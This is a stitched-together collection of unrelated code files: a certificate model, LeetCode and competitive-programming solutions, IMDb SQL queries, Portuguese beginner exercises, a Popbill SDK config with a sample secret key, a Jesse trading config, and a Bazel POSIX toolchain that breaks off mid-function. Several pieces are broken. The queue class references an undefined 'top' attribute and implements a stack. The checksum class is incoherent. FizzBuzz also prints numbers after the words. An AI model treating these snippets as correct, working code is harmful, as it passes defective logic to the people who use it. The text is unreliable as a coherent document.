:param certType: (Optional) 证书类型
:param startTime: (Optional) 开始时间
:param endTime: (Optional) 结束时间
:param deletable: (Optional) 是否允许被删除,1允许,0不允许
:param digest: (Optional) 对私钥文件使用sha256算法计算的摘要信息
:param aliasName: (Optional) 证书别名
:param dnsNames: (Optional) 域名
:param downloadable: (Optional) 是否允许被下载,0->不允许,1->允许
"""
self.certId = certId
self.certName = certName
self.commonName = commonName
self.certType = certType
self.startTime = startTime
self.endTime = endTime
self.deletable = deletable
self.digest = digest
self.aliasName = aliasName
self.dnsNames = dnsNames
self.downloadable = downloadable
|
#
# @lc app=leetcode id=1806 lang=python3
#
# [1806] Minimum Number of Operations to Reinitialize a Permutation
#
# @lc code=start
class Solution:
def reinitializePermutation(self, n: int) -> int:
i, cnt = 1, 0
while not cnt or i > 1: # i != 1 doesn't work
i = i * 2 % (n - 1)
cnt += 1
return cnt
# @lc code=end
|
class TestFunctionalTest(object):
counter = 0
@classmethod
def setup_class(cls):
cls.counter += 1
@classmethod
def teardown_class(cls):
cls.counter -= 1
def _run(self):
assert self.counter==1
def test1(self):
self._run()
def test2(self):
self._run()
|
class Parameter:
'''
Defines a sampled (or "free") parameter by spin, parity, channel,
rank, and whether it's an energy or width (kind).
kind : "energy" or "width"
"width" can be the partial width or ANC (depending on how it was
set up in AZURE2)
channel : channel pair (defined in AZURE2; consistent with AZURE2,
these are one-based)
rank : Which spin^{parity} level is this? (There are frequently
more than one. Consistent with AZURE2, these are
one-based.)
'''
def __init__(self, spin, parity, kind, channel, rank=1, is_anc=False):
self.spin = spin
self.parity = parity
self.kind = kind
self.channel = int(channel)
self.rank = rank
jpi_label = '+' if self.parity == 1 else '-'
subscript = f'{rank:d},{channel:d}'
superscript = f'({jpi_label:s}{spin:.1f})'
if self.kind == 'energy':
self.label = r'$E_{%s}^{%s}$' % (subscript, superscript)
elif self.kind == 'width':
if is_anc:
self.label = r'$C_{%s}^{%s}$' % (subscript, superscript)
else:
self.label = r'$\Gamma_{%s}^{%s}$' % (subscript, superscript)
else:
print('"kind" attribute must be either "energy" or "width"')
def string(self):
parity = '+' if self.parity == 1 else '-'
return f'{self.spin}{parity} {self.kind} (number {self.rank}) in \
particle pair {self.channel}, {self.label}'
def print(self):
print(self.string())
class NormFactor:
'''
Defines a sampled normalization factor (n_i in the AZURE2 manual).
'''
def __init__(self, dataset_index):
self.index = dataset_index
self.label = r'$n_{%d}$' % (self.index)
|
top_avg = """SELECT *
FROM rm_episodes
INNER JOIN ratings
ON rm_episodes.tconst = ratings.tconst
ORDER BY averageRating
DESC
LIMIT 5
"""
worst_avg = """SELECT *
FROM rm_episodes
INNER JOIN ratings
ON rm_episodes.tconst = ratings.tconst
ORDER BY averageRating
ASC
LIMIT 5
"""
top_vote = """SELECT *
FROM rm_episodes
INNER JOIN ratings
ON rm_episodes.tconst = ratings.tconst
ORDER BY numVotes
DESC
LIMIT 5
"""
worst_vote = """SELECT *
FROM rm_episodes
INNER JOIN ratings
ON rm_episodes.tconst = ratings.tconst
ORDER BY numVotes
ASC
LIMIT 5
"""
seven_b = """SELECT *
FROM name_basics
WHERE birthYear > 2000
AND primaryProfession
LIKE '%music_department%'
AND primaryProfession
LIKE '%actress%' """
seven_c = """select count(*) from four_actress """
|
"""
/*
*
* Crypto.BI Toolbox
* https://Crypto.BI/
*
* Author: José Fonseca (https://zefonseca.com/)
*
* Distributed under the MIT software license, see the accompanying
* file COPYING or http://www.opensource.org/licenses/mit-license.php.
*
*/
"""
class CBUtil:
@staticmethod
def safe_hash(phash, bytesize=32):
"""
Null hashes returned from MySQL sometimes get
coalesced to str. Ensure hash is always of bytes type.
"""
tp = type(phash)
if tp == bytearray or tp == bytes:
return phash
if phash is None:
return bytes.fromhex("00" * bytesize)
ret = phash
if tp == str:
if len(phash) > 0:
if phash == ("\x00" * bytesize):
ret = bytes.fromhex("00" * bytesize)
else:
ret = bytes.fromhex(phash)
else:
ret = bytes.fromhex("00" * bytesize)
return ret |
# numero_inicial = int(input('Qual o Numero que vocÊ deseja começar a somar?'))
# numero_final = int(input('Até qual numero devemos somar?'))
# total = 0
# for numero in range(numero_inicial,numero_final+1):
# total += numero
# print(total)
# total = 0
# for numero in [50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65] + list(range(66,101 )):
# total += numero
# print(f'Total gohorse: {total}')
# texto = 'Tenho saudades do prof abio, Python é legal, Gabriel Pensador'
# print(texto.split(','))
# def nosso_split(txt, sep):
# result = []
# count = 0
# for char in txt:
# if char == sep:
# result.append(txt[0:count])
# count += 1
# return result
# print(nosso_split(texto, ','))
dias_de_cada_mes = {
1: 31,
2: 28,
3: 31,
4: 30,
5: 31,
6: 30,
7: 31,
8: 31,
9: 30,
10: 31,
11: 30,
12: 31,
}
qual_mes = int(input('Digite o número do mês (1..12): '))
print('O mês', qual_mes, 'tem', dias_de_cada_mes[qual_mes], 'dias')
# print('Dias que faltam para acabar o ano, a partir de mês informado: ')
# print(sum(list(dias_de_cada_mes.values())[qual_mes-1:]))
total = 0
for mes in range(qual_mes, 12+1):
total += dias_de_cada_mes[mes]
print('Modo Estruturado')
print('Total de dias até o final de ano', total)
for chave in dias_de_cada_mes:
print(f'Tenho uma chave nessa linha: {chave}')
print(f'Se tenho a chave, tenho o valor: {dias_de_cada_mes[chave]}')
for chave, valor in dias_de_cada_mes.items():
print(f'Para a chave {chave} o valor {valor}')
|
class MissingPatterns():
"""docstring for MissingPatterns"""
def __init__(self, data, selected_features):
self.missing_patterns = set() # -> set de frozenset
self.data = data # -> weka.core.dataset.Instances
self.missingPatterns(selected_features);
# Encontra os padrões ausentes
def missingPatterns(self, selected_features):
for instance in self.data: #instance -> weka.core.dataset.Instance
temp = set()
#Verfica o padrão ausente de cada instancia
for j in range(0, self.data.num_attributes):
for i in selected_features:
if str(self.data.attribute(j)) == str(self.data.attribute(i)):
if instance.is_missing(j):
temp.add(j)
#E realiza sua adição ao conjunto de padrões ausentes
self.missing_patterns.add(frozenset(temp)) |
# -*- coding: utf-8 -*-
'''
팝빌 팩스 API Python SDK Example
- Python SDK 연동환경 설정방법 안내 : https://docs.popbill.com/fax/tutorial/python
- 업데이트 일자 : 2021-12-27
- 연동 기술지원 연락처 : 1600-9854
- 연동 기술지원 이메일 : code@linkhubcorp.com
<테스트 연동개발 준비사항>
1) 17, 20번 라인에 선언된 링크아이디(LinkID)와 비밀키(SecretKey)를
연동신청 후 메일로 발급받은 인증정보를 참조하여 변경합니다.
'''
# 링크아이디
LinkID = 'TESTER'
# 비밀키
SecretKey = 'SwWxqU+0TErBXy/9TVjIPEnI0VTUMMSQZtJf3Ed8q3I='
# 연동환경 설정값, 개발용(True), 상업용(False)
IsTest = True
# 테스트 회원 사업자번호
testCorpNum = "1234567890"
# 테스트 회원 팝빌 아아디
testUserID = "testkorea"
# 발급토큰 IP 제한기능 활성화 여부 (권장-True)
IPRestrictOnOff = True
# 팝빌 API 서비스 고정 IP 사용여부, true-사용, false-미사용, 기본값(false)
UseStaticIP = False
#로컬시스템 시간 사용여부, 권장(True)
UseLocalTimeYN = True
|
config = {
# these values are related to the user's environment
'env': {
'databases': {
'postgres_host': '127.0.0.1',
'postgres_name': 'jesse_db',
'postgres_port': 5432,
'postgres_username': 'jesse_user',
'postgres_password': 'password',
},
'caching': {
'driver': 'pickle'
},
'logging': {
'order_submission': True,
'order_cancellation': True,
'order_execution': True,
'position_opened': True,
'position_increased': True,
'position_reduced': True,
'position_closed': True,
'shorter_period_candles': False,
'trading_candles': True,
'balance_update': True,
},
'exchanges': {
'Sandbox': {
'fee': 0,
'type': 'spot',
# used only in futures trading
'settlement_currency': 'USDT',
# accepted values are: 'cross' and 'isolated'
'futures_leverage_mode': 'cross',
# 1x, 2x, 10x, 50x, etc. Enter as integers
'futures_leverage': 1,
'assets': [
{'asset': 'USDT', 'balance': 10_000},
{'asset': 'BTC', 'balance': 0},
],
},
# https://www.bitfinex.com
'Bitfinex': {
'fee': 0.002,
# backtest mode only: accepted are 'spot' and 'futures'
'type': 'futures',
# futures mode only
'settlement_currency': 'USD',
# accepted values are: 'cross' and 'isolated'
'futures_leverage_mode': 'cross',
# 1x, 2x, 10x, 50x, etc. Enter as integers
'futures_leverage': 1,
# used for spot exchange only
'assets': [
{'asset': 'USDT', 'balance': 10_000},
{'asset': 'USD', 'balance': 10_000},
{'asset': 'BTC', 'balance': 0},
],
},
# https://www.binance.com
'Binance': {
'fee': 0.001,
# backtest mode only: accepted are 'spot' and 'futures'
'type': 'futures',
# futures mode only
'settlement_currency': 'USDT',
# accepted values are: 'cross' and 'isolated'
'futures_leverage_mode': 'cross',
# 1x, 2x, 10x, 50x, etc. Enter as integers
'futures_leverage': 1,
# used for spot exchange only
'assets': [
{'asset': 'USDT', 'balance': 10_000},
{'asset': 'BTC', 'balance': 0},
],
},
# https://www.binance.com
'Binance Futures': {
'fee': 0.0004,
# backtest mode only: accepted are 'spot' and 'futures'
'type': 'futures',
# futures mode only
'settlement_currency': 'USDT',
# accepted values are: 'cross' and 'isolated'
'futures_leverage_mode': 'cross',
# 1x, 2x, 10x, 50x, etc. Enter as integers
'futures_leverage': 1,
# used for spot exchange only
'assets': [
{'asset': 'USDT', 'balance': 10_000},
],
},
# https://testnet.binancefuture.com
'Testnet Binance Futures': {
'fee': 0.0004,
# backtest mode only: accepted are 'spot' and 'futures'
'type': 'futures',
# futures mode only
'settlement_currency': 'USDT',
# accepted values are: 'cross' and 'isolated'
'futures_leverage_mode': 'cross',
# 1x, 2x, 10x, 50x, etc. Enter as integers
'futures_leverage': 1,
# used for spot mode
'assets': [
{'asset': 'USDT', 'balance': 10_000},
],
},
# https://pro.coinbase.com
'Coinbase': {
'fee': 0.005,
# backtest mode only: accepted are 'spot' and 'futures'
'type': 'futures',
# futures mode only
'settlement_currency': 'USD',
# accepted values are: 'cross' and 'isolated'
'futures_leverage_mode': 'cross',
# 1x, 2x, 10x, 50x, etc. Enter as integers
'futures_leverage': 1,
# used for spot exchange only
'assets': [
{'asset': 'USDT', 'balance': 10_000},
{'asset': 'USD', 'balance': 10_000},
{'asset': 'BTC', 'balance': 0},
],
},
},
# changes the metrics output of the backtest
'metrics': {
'sharpe_ratio': True,
'calmar_ratio': False,
'sortino_ratio': False,
'omega_ratio': False,
'winning_streak': False,
'losing_streak': False,
'largest_losing_trade': False,
'largest_winning_trade': False,
'total_winning_trades': False,
'total_losing_trades': False,
},
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Optimize mode
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# Below configurations are related to the optimize mode
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
'optimization': {
# sharpe, calmar, sortino, omega
'ratio': 'sharpe',
},
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# Data
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# Below configurations are related to the data
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
'data': {
# The minimum number of warmup candles that is loaded before each session.
'warmup_candles_num': 210,
}
},
# These values are just placeholders used by Jesse at runtime
'app': {
# list of currencies to consider
'considering_symbols': [],
# The symbol to trade.
'trading_symbols': [],
# list of time frames to consider
'considering_timeframes': [],
# Which candle type do you intend trade on
'trading_timeframes': [],
# list of exchanges to consider
'considering_exchanges': [],
# list of exchanges to consider
'trading_exchanges': [],
'considering_candles': [],
# dict of registered live trade drivers
'live_drivers': {},
# Accepted values are: 'backtest', 'livetrade', 'fitness'.
'trading_mode': '',
# variable used for test-driving the livetrade mode
'is_test_driving': False,
# this would enable many console.log()s in the code, which are helpful for debugging.
'debug_mode': False,
},
}
backup_config = config.copy()
def set_config(c) -> None:
global config
config['env'] = c
# add sandbox because it isn't in the local config file
config['env']['exchanges']['Sandbox'] = {
'type': 'spot',
# used only in futures trading
'settlement_currency': 'USDT',
'fee': 0,
'futures_leverage_mode': 'cross',
'futures_leverage': 1,
'assets': [
{'asset': 'USDT', 'balance': 10_000},
{'asset': 'BTC', 'balance': 0},
],
}
def reset_config() -> None:
global config
config = backup_config.copy()
|
class CopyAsValuesParam(object):
def __init__(self, **kargs):
self.nodeId = kargs["nodeId"] if "nodeId" in kargs else None
self.asNewNode = kargs["asNewNode"] if "asNewNode" in kargs else False
|
# a queue is a data structure in which the data element entered first is removed first
# basically you insert elements from one end and remove them from another end
# a very simple, and cliche example would be that of a plain old queue at McDonald's
# The person who joined the queue first will order first, and the one who joined last will order last
# (unless you're a prick)
# queues have two important operations:
# queue
# dequeue
# queuing is basically entereing a new element to the end of the queue
# dequeing is removing an element from the front of the queue
# let us try to build a queue using an array
# we will have a few functions
# one to queue new elements
# one to dequeue elements
# one to print the queue
# one to get the front of the queue
# one to get the end of the queue
# one to check if the queue is empty
class OurQueue:
def __init__(self):
self.front = -1
self.end = -1
self.elements = []
def queue(self, value):
self.front = self.front + 1
self.elements.insert(self.top, value)
def pop(self):
if (self.top >= 0):
self.top = self.top - 1
else:
print("Cannot pop because the stack is empty.")
def peek(self):
print(self.elements[self.top])
def isEmpty(self):
if(self.top == -1):
return True
else:
return False
def length(self):
return self.top + 1
def display(self):
if(self.top == -1):
print("Stack is empty!")
else:
for i in range(self.top, -1, -1):
print(self.elements[i], end=' ')
# also try out stack with linked lists, and when you do please contrivute to this project right here lol |
#!/usr/bin/env python3
def coverage_test_helper():
one = 10 + 3 - 12
print('This function should be called {one} time to achieve 100% coverage')
return one
|
class Checksum:
@staticmethod
def calc(data: str):
chksum = Checksum.__str_list2bin(data)
chksum = Checksum.__sum_bytes(chksum)
map(lambda x: bytearray(x + 1)[0], chksum)
return chksum
@staticmethod
def __str_list2bin(data: str) -> list:
map(lambda x: bytearray(x, "utf-8"), data)
return data
@staticmethod
def __sum_bytes(arr: list) -> bytearray:
actual_sum = arr[0]
[actual_sum := Checksum.__overflow(actual_sum, x) + bytearray(actual_sum + x) for x in arr[1:]]
return actual_sum
@staticmethod
def __overflow(actsum, arr) -> bytearray:
if bytearray(actsum, arr)[16] == 1:
return bytearray(b"000000000000001")
else:
return bytearray(b"000000000000000")
|
async def m001_initial(db):
await db.execute(
"""
CREATE TABLE subdomains.domain (
id TEXT PRIMARY KEY,
wallet TEXT NOT NULL,
domain TEXT NOT NULL,
webhook TEXT,
cf_token TEXT NOT NULL,
cf_zone_id TEXT NOT NULL,
description TEXT NOT NULL,
cost INTEGER NOT NULL,
amountmade INTEGER NOT NULL,
allowed_record_types TEXT NOT NULL,
time TIMESTAMP NOT NULL DEFAULT """
+ db.timestamp_now
+ """
);
"""
)
await db.execute(
"""
CREATE TABLE subdomains.subdomain (
id TEXT PRIMARY KEY,
domain TEXT NOT NULL,
email TEXT NOT NULL,
subdomain TEXT NOT NULL,
ip TEXT NOT NULL,
wallet TEXT NOT NULL,
sats INTEGER NOT NULL,
duration INTEGER NOT NULL,
paid BOOLEAN NOT NULL,
record_type TEXT NOT NULL,
time TIMESTAMP NOT NULL DEFAULT """
+ db.timestamp_now
+ """
);
"""
)
|
# --------------
##File path for the file
file_path
#Code starts here
#Function to read file
def read_file(path):
#Opening of the file located in the path in 'read' mode
file = open(path, 'r')
#Reading of the first line of the file and storing it in a variable
sentence=file.readline()
#Closing of the file
file.close()
#Returning the first line of the file
return sentence
#Calling the function to read file
sample_message=read_file(file_path)
#Printing the line of the file
print(sample_message)
#Code ends here
# --------------
#Code starts here
#Opening files:
file_1 = open(file_path_1)
file_2 = open(file_path_2)
#Reading & Printing messages:
message_1 = read_file(file_path_1)
print(message_1)
message_2 = read_file(file_path_2)
print(message_2)
#Declaring a function fuse_msg():
def fuse_msg(message_a, message_b):
int_message_a = int(message_a)
int_message_b = int(message_b)
quotient = (int_message_b//int_message_a)
return str(quotient)
#Calling the function fuse_msg():
secret_msg_1 = fuse_msg(message_1,message_2)
print(secret_msg_1)
# --------------
#Code starts here
#Opening file:
file_3 = open(file_path_3)
#Reading file:
message_3 = read_file(file_path_3)
print(message_3)
#Defining a function substitute_msg():
def substitute_msg(message_c):
sub = ''
if str(message_c) == 'Red':
sub = 'Army General'
elif str(message_c) == 'Green':
sub = 'Data Scientist'
elif str(message_c) == 'Blue':
sub = 'Marine Biologist'
return str(sub)
#Calling function substitute_msg():
secret_msg_2 = substitute_msg(message_3)
# --------------
# Opening files:
file_4 = open(file_path_4)
file_5 = open(file_path_5)
# Reading files:
message_4 = read_file(file_path_4)
message_5 = read_file(file_path_5)
print(message_4)
print(message_5)
# Declaring function compare_msg():
def compare_msg(message_d, message_e):
a_list = message_d.split(' ')
b_list = message_e.split(' ')
c_list = [i for i in a_list + b_list if i not in b_list]
final_msg = ' '.join(c_list)
return final_msg
# Calling function compare_msg():
secret_msg_3 = compare_msg(message_4, message_5)
#Code starts here
# --------------
#Code starts here
#Opening file:
file_6 = open(file_path_6)
#Reading file:
message_6 = read_file(file_path_6)
print(message_6)
#Declaring function extract_msg():
def extract_msg(message_f):
a_list = message_f.split(' ')
even_word = lambda x : (len(x)%2 == 0)
b_list = filter(even_word, a_list)
final_msg = ' '.join(b_list)
return str(final_msg)
#Calling function extract_msg():
secret_msg_4 = extract_msg(message_6)
print(secret_msg_4)
# --------------
#Secret message parts in the correct order
message_parts=[secret_msg_3, secret_msg_1, secret_msg_4, secret_msg_2]
final_path= user_data_dir + '/secret_message.txt'
#Code starts here
secret_msg = ' '.join(message_parts)
print(secret_msg)
#Declaraing function write_file():
def write_file(secret_msg, path):
file_final = open(path, mode='a+')
file_final.write(' '.join(secret_msg))
file_final.close()
#Calling function write_file():
ans = write_file(secret_msg, final_path)
print(ans)
|
# Adapted from: https://stackoverflow.com/questions/37935920/quantile-normalization-on-pandas-dataframe
# Citing: https://en.wikipedia.org/wiki/Quantile_normalization
class QNorm:
def __init__(self):
return
def fit(self,df):
return _QNormFit(self,df.stack().groupby(df.rank(method='first').stack().astype(int)).mean())
def fit_transform(self,df):
return self.fit(df).transform(df)
class _QNormFit:
def __init__(self,parent,df):
self.qnorm = parent
self.rank_mean = df
return
def transform(self,df):
return df.rank(method='min').stack().astype(int).map(self.rank_mean).unstack()
|
class PluginError(Exception):
pass
class OneLoginClientError(PluginError):
pass
class UserNotFound(PluginError):
pass
class FactorNotFound(PluginError):
pass
class TimeOutError(PluginError):
pass
class APIResponseError(PluginError):
pass |
YES = "LuckyChef"
NO = "UnluckyChef"
def solve():
for _ in range(int(input())):
x, y, k, n = map(int, input().split())
arr = []
for __ in range(n):
arr.append(list(map(int, input().split())))
remaining_pages = x - y
if remaining_pages <= 0:
print(YES)
continue
for pages, price in arr:
if pages >= remaining_pages and price <= k:
print(YES)
break
else:
print(NO)
solve()
|
class Board:
def __init__(self, lines):
self.data = []
self.has_won = False
for i, l in enumerate(lines):
self.data.append([int(x) for x in l.split()])
def __str__(self):
return str(self.data)
def __repr__(self):
return str(self)
def final_score(self, called_numbers, just_called):
uncalled = self.uncalled_numbers(called_numbers)
print(f"Board score: {sum(uncalled) * int(just_called)}")
def uncalled_numbers(self, called):
nums = []
for row in self.data:
nums.extend(row)
not_called = list(set(nums) - set(called))
return not_called
def won(self, called):
called = set(called)
# horzontally
for row in self.data:
if set(row).issubset(called):
return True
# vertically
for x in range(5):
s = set()
for y in range(5):
s.add(self.data[y][x])
if s.issubset(called):
return True
return False
if __name__ == "__main__":
lines = open('../input.txt', 'r').readlines()
called = lines[0]
boards = []
accum = []
for l in lines[1:]:
if not l.strip() and accum:
boards.append(Board(accum))
accum = []
else:
accum.append(l.strip())
called_numbers = []
won = False
last_board = None
boards = boards[1:]
for call in called.split(','):
called_numbers.append(int(call))
for b in boards:
if b.won(called_numbers):
b.has_won = True
non_winning_boards = [x for x in boards if x.has_won == False]
if len(non_winning_boards) == 1:
last_board = non_winning_boards[0]
if last_board and last_board.has_won:
print(last_board.final_score(called_numbers, just_called=call))
break
hide = """
data = "20 87 16 25 9
15 70 19 72 56
71 37 69 2 62
76 97 41 8 92
40 65 86 0 32"
data = data.split('\n')
b = Board(data)
print(b.data)
print(b.won([15,70,19,72,56]))
print(b.won([20,15,71,76,40]))
print(b.won([16,22,7,19,2,69,80,41,82]))
""" |
#Dias da semana
n1=int(input())
if(n1==1):
print("Domingo")
elif(n1==2):
print("Segunda")
elif(n1==3):
print("Terça")
elif(n1==4):
print("Quarta")
elif(n1==5):
print("Quinta")
elif(n1==6):
print("Sexta")
elif(n1==7):
print("Sabado")
else:
print("Valor invalido")
|
precotij=float(input('Digite o preço da unidade do tijolo (Em reais): '))
alturatij=float(input('Digite a altura do tijolo (Em metros): '))
comprimentotij=float(input('Digite o comprimento do tijolo (Em metros): '))
alturaparede=float(input('Digite a altura das paredes (Em metros): '))
comprimentoparede=float(input('Digite o comprimento das paredes (Em metros): '))
num_tijolos_altura = alturaparede / alturatij
num_tijolos_largura = comprimentoparede/ comprimentotij
num_tijolos_total = num_tijolos_altura * num_tijolos_largura
print (f'O número total de tijolos é {num_tijolos_total:.1f} e o orçamento final é de R$ {num_tijolos_total*precotij:.1f}')
|
#!/usr/bin/env python3
NUMBER_OF_DIVS = 25
INCL_SPACES = True
divString = """
<div class="item{}">
<img class="rounded-img carousel-img" id="carousel-img-{}" src="images/sample.png" alt="Pic{}">
</div>
"""
if(INCL_SPACES):
divString = """
<div class="item{}">
<img class="rounded-img carousel-img" id="carousel-img-{}" src="images/sample.png" alt="Pic{}">
</div>
"""
else:
divString = """
<div class="item{}">
<img class="rounded-img carousel-img" id="carousel-img-{}" src="images/sample.png" alt="Pic{}">
</div>
"""
activeString = " active"
for divNum in range(NUMBER_OF_DIVS):
if(divNum == 0):
print(divString.format(activeString, divNum, divNum), end='')
continue
print(divString.format('', divNum, divNum), end='')
|
nome = input('Digite seu nome completo: ')
nomem = nome.upper()
nomemin = nome.lower()
fat = nome.split()
juntin = '-'.join(fat)
nomefatiado = nome.replace(" ", "")
print(len(nomefatiado))
print(nomemin)
print(nomem)
print(len(fat[0]))
print(fat)
print(juntin) |
dados_aluno = {'Nome': str(input('Nome do aluno: ')), 'Media': float(input('Média: '))}
if dados_aluno['Media'] > 7:
dados_aluno['situação'] = 'Aprovado'
else:
dados_aluno['situação'] = 'Reprovado'
print(f'Situação é igual a {dados_aluno["situação"]} ') |
def write_tsv(headerfields, features, outfn):
"""Writes header and generator of lines to tab separated file.
headerfields - list of field names in header in correct order
features - generates 1 list per line that belong to header
outfn - filename to output to. Overwritten if exists
"""
with open(outfn, 'w') as fp:
write_tsv_line_from_list(headerfields, fp)
for line in features:
write_tsv_line_from_list([str(line[field]) for field
in headerfields], fp)
def write_tsv_line_from_list(linelist, outfp):
"""Utility method to convert list to tsv line with carriage return"""
line = '\t'.join(linelist)
outfp.write(line)
outfp.write('\n')
def parse_NA(feature, header):
for field in header:
try:
feature[field] = str(feature[field])
except KeyError:
feature[field] = 'NA'
return feature
|
if __name__ == '__main__':
n = int(input())
arr = map(int, input().split())
# Copy original array
new_arr = set(arr)
# Remove max values
new_arr.remove(max(new_arr))
# Print new max (2nd max)
print(max(new_arr))
|
# coding=utf-8
"""
复制带随机指针的链表
描述:给出一个链表,每个节点包含一个额外增加的随机指针可以指向链表中的任何节点或空的节点。
返回一个深拷贝的链表。
思路: 要用到 hash table 这样就完成深度拷贝了
mapping = {
head1: rhead1,
head2: rhead2,
head3: rhead3,
...
headn: rheadn
}
将copy后的 head1 里的换车 rhead1 就完成深拷贝了
"""
"""
Definition for singly-linked list with a random pointer.
class RandomListNode:
def __init__(self, x):
self.label = x
self.next = None
self.random = None
"""
class Solution:
# @param head: A RandomListNode
# @return: A RandomListNode
def copyRandomList(self, head):
# write your code here
if head is None:
return head
mapping = {}
new_head = RandomListNode(head.label)
mapping[head] = new_head
p, q = head, new_head
while p is not None:
q.random = p.random # 这里random是浅拷贝
if p.next is not None:
q.next = RandomListNode(p.next.label)
mapping[p.next] = q.next
else:
q.next = None
p, q = p.next, q.next
# 事已至此,完成浅拷贝
tail = new_head
while tail is not None:
if tail.random is not None:
tail.random = mapping.get(tail.random)
else:
tail.random = None
tail = tail.next
return new_head
|
a, b, c = map(int, input().split())
if b - a == c - b:
print("YES")
else:
print("NO") |
# https://leetcode.com/problems/longest-valid-parentheses/
# Given a string containing just the characters '(' and ')', find the length of
# the longest valid (well-formed) parentheses substring.
################################################################################
# dp[i] = longest valid of s[i:n] starting with s[i] -> travel backwards
# s[i], [valid of len = dp[i+1]], s[j], [valid of len = dp[j+1]], ...
class Solution:
def longestValidParentheses(self, s: str) -> int:
if len(s) <= 1: return 0
n = len(s)
ans = 0
dp = [0] * n
for i in range(n - 2, -1, -1):
if s[i] == "(":
# loop for ")" at j: s[i], [valid of len = dp[i+1]], s[j]
j = i + dp[i + 1] + 1
if j < n and s[j] == ")":
dp[i] = dp[i + 1] + 2
if j + 1 < n: # cumlative valid length starting with s[j+1]
dp[i] += dp[j + 1]
return max(dp)
|
def fizz_buzz(n):
for fizz_buzz in range(n+1):
if fizz_buzz % 3 == 0 and fizz_buzz % 5 == 0:
print("fizzbuzz")
continue
elif fizz_buzz % 3 == 0:
print("fizz")
continue
elif fizz_buzz % 5 == 0:
print("buzz")
print(fizz_buzz)
fizz_buzz(26)
if __name__ == "__main__":
fizz_buzz(100) |
"""Unix shell commands toolchain support.
Defines a toolchain capturing common Unix shell commands as defined by IEEE
1003.1-2008 (POSIX), see `sh_posix_toolchain`, and `sh_posix_configure` to scan
the local environment for shell commands. The list of known commands is
available in `posix.commands`.
"""
load("@bazel_skylib//lib:paths.bzl", "paths")
load("@bazel_tools//tools/cpp:lib_cc_configure.bzl", "get_cpu_value")
# List of Unix commands as specified by IEEE Std 1003.1-2008.
# Extracted from https://en.wikipedia.org/wiki/List_of_Unix_commands.
_commands = [
"admin",
"alias",
"ar",
"asa",
"at",
"awk",
"basename",
"batch",
"bc",
"bg",
"cc",
"c99",
"cal",
"cat",
"cd",
"cflow",
"chgrp",
"chmod",
"chown",
"cksum",
"cmp",
"comm",
"command",
"compress",
"cp",
"crontab",
"csplit",
"ctags",
"cut",
"cxref",
"date",
"dd",
"delta",
"df",
"diff",
"dirname",
"du",
"echo",
"ed",
"env",
"ex",
"expand",
"expr",
"false",
"fc",
"fg",
"file",
"find",
"fold",
"fort77",
"fuser",
"gencat",
"get",
"getconf",
"getopts",
"grep",
"hash",
"head",
"iconv",
"id",
"ipcrm",
"ipcs",
"jobs",
"join",
"kill",
"lex",
"link",
"ln",
"locale",
"localedef",
"logger",
"logname",
"lp",
"ls",
"m4",
"mailx",
"make",
"man",
"mesg",
"mkdir",
"mkfifo",
"more",
"mv",
"newgrp",
"nice",
"nl",
"nm",
"nohup",
"od",
"paste",
"patch",
"pathchk",
"pax",
"pr",
"printf",
"prs",
"ps",
"pwd",
"qalter",
"qdel",
"qhold",
"qmove",
"qmsg",
"qrerun",
"qrls",
"qselect",
"qsig",
"qstat",
"qsub",
"read",
"renice",
"rm",
"rmdel",
"rmdir",
"sact",
"sccs",
"sed",
"sh",
"sleep",
"sort",
"split",
"strings",
"strip",
"stty",
"tabs",
"tail",
"talk",
"tee",
"test",
"time",
"touch",
"tput",
"tr",
"true",
"tsort",
"tty",
"type",
"ulimit",
"umask",
"unalias",
"uname",
"uncompress",
"unexpand",
"unget",
"uniq",
"unlink",
"uucp",
"uudecode",
"uuencode",
"uustat",
"uux",
"val",
"vi",
"wait",
"wc",
"what",
"who",
"write",
"xargs",
"yacc",
"zcat",
]
TOOLCHAIN_TYPE = "@rules_sh//sh/posix:toolchain_type"
MAKE_VARIABLES = "@rules_sh//sh/posix:make_variables"
def _sh_posix_toolchain_impl(ctx):
commands = {}
cmds = ctx.attr.cmds
for cmd in _commands:
cmd_path = cmds.get(cmd, None)
if not cmd_path:
cmd_path = None
commands[cmd] = cmd_path
unrecognizeds = [cmd for cmd in cmds.keys() if cmd not in _commands]
if unrecognizeds:
fail("Unrecognized commands in keys of sh_posix_toolchain's \"cmds\" attributes: {}. See posix.commands in @rules_sh//sh:posix.bzl for the list of recognized commands.".format(", ".join(unrecognizeds)))
cmd_paths = {
paths.dirname(cmd_path): None
for cmd_path in commands.values()
if cmd_path
}.keys()
return [platform_common.ToolchainInfo(
commands = commands,
paths = cmd_paths,
)]
sh_posix_toolchain = rule(
attrs = {
"cmds": attr.string_dict(
doc = "dict where keys are command names and values are paths",
mandatory = True,
)
},
doc = """
A toolchain capturing standard Unix shell commands.
Provides:
commands: Dict of String, an item per command holding the path to the executable or None.
paths: List of String, deduplicated bindir paths. Suitable for generating `$PATH`.
Use `sh_posix_configure` to create an instance of this toolchain.
See `sh_posix_make_variables` on how to use this toolchain in genrules.
""",
implementation = _sh_posix_toolchain_impl,
)
def _sh_posix_make_variables_impl(ctx):
toolchain = ctx.toolchains[TOOLCHAIN_TYPE]
cmd_vars = {
"POSIX_%s" % cmd.upper(): cmd_path
for cmd in _commands
for cmd_path in [toolchain.commands[cmd]]
if cmd_path
}
return [platform_common.TemplateVariableInfo(cmd_vars)]
sh_posix_make_variables = rule(
doc = """
Provides POSIX toolchain commands as custom make variables.
Make variables:
Provides a make variable of the form `POSIX_<COMMAND>` for each available
command, where `<COMMAND>` is the name of the command in upper case.
Use `posix.MAKE_VARIABLES` instead of instantiating this rule yourself.
Example:
>>> genrule(
name = "use-grep",
srcs = [":some-file"],
outs = ["grep-out"],
cmd = "$(POSIX_GREP) search $(execpath :some-file) > $(OUTS)",
toolchains = [posix.MAKE_VARIABLES],
)
""",
implementation = _sh_posix_make_variables_impl,
toolchains = [TOOLCHAIN_TYPE],
)
def _windows_detect_sh_dir(repository_ctx):
# Taken and adapted from @bazel_tools//tools/sh/sh_configure.bzl.
sh_path = repository_ctx.os.environ.get("BAZEL_SH")
if not sh_path:
